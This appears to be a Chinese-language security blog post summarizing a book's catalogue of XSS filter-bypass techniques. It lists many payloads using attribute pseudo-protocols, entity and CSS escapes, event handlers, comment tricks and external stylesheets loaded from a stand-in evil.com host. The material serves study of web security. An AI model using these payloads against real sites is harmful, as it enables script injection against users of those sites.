XSS 构造剖析

2018/10/05 安全 xss 5286 words views

今天看了下《XSS 攻击剖析与防御》,这本书虽然有点老了,但是内容真的挺不错的,一些技术并没有过时,在这里主要总结一下XSS 构造剖析

来自《XSS 攻击剖析与防御》

以前觉得看完书理解了就完事了,其实,技能真正地习得靠的是不断的重复和思考。重复是技能习得必不可少的条件,努力将那些技能写进肌肉记忆之中。

0x01 绕过 XSS-Filter

1.利用<>标记注射 Html /JavaScript

如果我们能引入<>,那么我们就能操作一个 HTML 标签,然后通过<script>标签插入恶意的 JavaScript 或者 Vbscript 代码。

2.利用 HTML 标签属性值执行 XSS

如果用户不能构造自己的 HTML 标记,那么我们就换一条路,可以利用 HTML 标签的属性值。

很多 HTML 标记中的属性都支持 javascript:[code] 伪协议的形式,但是并不是所有的浏览器都支持 JavaScript 伪协议。

用户可以利用部分 HTML 标记的属性值进行 XSS,例子如下:

<table background="javascript:alert(1)"></table>
<img src="javascript:alert(1);">

并不是所有标记属性值都能产生 XSS,通常只有引用文件的属性才能触发 XSS

常用以下属性值来进行 XSS 测试

href=
lowsrc=
bgsound=
background=
value=
action=
dynsrc=

3.空格回车 Tab

如果 XSS Filter 过滤了敏感的输入字符,那么可以利用空格、回车、Tab 键绕过限制。

var a
= "hello world";
alert(1);

弹窗 hello world

payload:

<img src="javas
cript:
alert(1)" width=100>

4.对标签属性值转码

对普通 HTML 标记的属性值进行过滤,用户还可以通过编码处理来绕过,因为 HTML 中属性值本身支持 ASCII 码形式。

根据 HTML 属性值支持 ASCII 码的特性,可以把 XSS 代码:

<img src="javascript:alert('XSS');">

替换成

<img src="javascrip&#116&#58alert(1);">

t 的 ASCII 码值为 116,用 &#116 表示;: 用 &#58 表示

还可以把 &#01&#02等字符插入到 JavaScript 或 Vbscript 头部,另外 Tab 符的 ASCII 码 &#9、换行符的&#10、回车符的&#13可以被插入到代码的任何地方。

下面再看一个例子

<img src="&#01;javascript:alert(1)">
这个例子是把 ASCII 码插入到代码的头部,其中 &#01; 可写成 &#1 效果一样

插入到代码的任意位置,可使用 &#09; 等字符
<img src="java&#09;scr&#10;ipt:alert(1)">

5.产生自己的事件

当我们不能使用属性值进行 XSS 攻击的时候,我们可以使用事件,W3C 将事件分为 3 种不同的类别:

用户接口(鼠标、键盘)
逻辑(处理的结果)
变化(对文档进行修改)

下面先看一个例子:

<input type="button" value="click me" onclick="alert('click me')" />

因为事件能让 JS 代码运行,所以可以利用它来执行跨站脚本

<img src="#" onerror="alert(1)">
onerror 是 IMG 标记的一个事件,只要页面中发生错误,改事件立即被激活。

测试事件的跨站脚本,还有大量的事件可以运用:

onResume
onReverse
onRowDelete
onRowInserted
onSeek
onSynchRestored
onTimeError
onTrackChange
onURLFlip
onRepeat
onMediaComplete
onMediaError
onPause
onProgress
onOutOfSync
oncontrolselect
onlayoutcomplete
onafterprint
onbeforeprint
ondataavailable
ondatasetchanged
ondatasetcomplete
onerrorupdate
onrowenter
onrowexit
onrowsdelete
onrowsinserted
onselectionchange
onbounce
onfinish
onstop
onresizeend

6.利用 CSS 跨站剖析

XSS 跨站脚本的另一个载体是 CSS 样式表,这里存在一个很大的缺点: 各浏览器之间不能通用,甚至可能同一浏览器不同版本之间都不能通用。

使用 CSS 直接执行 JavaSript 代码的示例如下:

<div style="background-image:url(javascript:alert(1))">

<style>
	body{background-image: url("javascript:alert(1)");}
</style>

IE5 及其以后的版本支持在 CSS 中使用 expression,示例如下:

<div style="width: expression(alert(1));">

<img src="#" style="xss:expression(alert(1));">

<style>
	body {background-image: expression(alert(1));}
</style>

再看几个例子:

<div style="list-style-image:url(javascript:alert(1))">

<img style="background-image: url(javascript:alert(1))">
等价于
<img src="javascript: alert(1)">

用户还可以利用 <link> 标签引用 CSS:

假设样式表文件地址为 http://www.evil.com/attack.css 为攻击者上传的 CSS 文件
p{
    background-image: expression(alert(1));
}

这个时候目标网站的 XSS Expliot 如下:
<link rel="stylesheet" href="http://www.evil.com/attack.css">

除了使用 <link> 标签外,还可以利用引入外部的 CSS 文件,使用@import 来导入:

<style type='test/css'>@import url(http://www.evil.com/xss.css);</style>

其中 http://www.evil.com/xss.css 内容是:
.showCSS{
    event:expression(
    	onload = function(){
            alert(1);
    	}
    )
}

@import 还有一个特性,就是能直接执行 JavaScript 代码

<style>
	@import 'javascript:alert("XSS")';
</style>

7.扰乱过滤规则

先看几个例子:

<img src="javascript:alert(1);">

<IMG SRC="javascript:alert(1);">

<iMg sRC="jaVasCript:alert(1);">

<img src='javascript:alert(1);'>

<img src=javascript:alert(1);>
<img/src="mars.png"alt="mars">
<img/src="javascript:alert(1);">
注意这里的 IMG 标记和 src 属性之间没有空格,而是用 / 隔开的,这里在 IE6 中能成功执行

当利用 expression 执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则

<XSS STYLE="xss:exprEssion(alert(1))">
<div style="{left:expression(alert(1));}">

对于黑名单式的过滤,可以结合使用注释字符干扰和欺骗过滤器

<scriScriptpt>alert(1)</script>
<img src="java/*/*javascript*/script/*javascript*/*/script:alert(1);">
<img src="java/*script:alert(1);"><img src="javaa*/script:alert(1);">

除了/**/ 外,样式标签中的 \ 和结束符\0 也是被浏览器忽略的

@\0im\port'\0ja\vasc\ript:alert(1)';
@\i\0m\00p\000o\0000\00000r\000000t"url";

还可以将 CSS 中的关键字进行转码处理,如将 e 转换成 \65,包括改变编码中 0 的数量

<p style="xss:\65xpression(alert(1))">
<p style="xss:\065xpression(alert(1))">
<p style="xss:\0065xpression(alert(1))">

用户使用各种技巧去突破过滤系统时,要考虑各种浏览器之间的差异,差异主要体现在对 HTML 的渲染、对 JavaScript 的解释以及对 CSS 的支持上

<!--<img src="--><img src=x onerror=alert(1)//">
这个例子利用浏览器解析 HTML 注释存在的问题来执行 JavaScript

<comment><img src="</comment><img src=x onerror=alert(1)//">
这个例子同样利用浏览器解析 HTML 注释存在的问题来执行 JavaScript,但是与上一个不同的是,该例子只支持 IE 系列浏览器

<style><img src="</style><img src=x onerror=alert(1)//">
这个例子利用了纯文本标签造成的标记混乱来绕过过滤器。

0x02 利用字符编码

前面说过 HTML 标签中某些属性值可以使用 &#ASCII 方式进行编码改写,这种 XSS 转码方式支持十进制和十六进制形式。使用 XSS 编码工具来进行编码

<img src="javascript:alert(1);">
属性值为 javascript:alert(1);
进行十进制转码(&#)之后得到:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;

完整的 XSS Exploit 如下:
<img src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;">

上一篇: CBC字节翻转攻击
下一篇: alert(1) to win

Search

    Table of Contents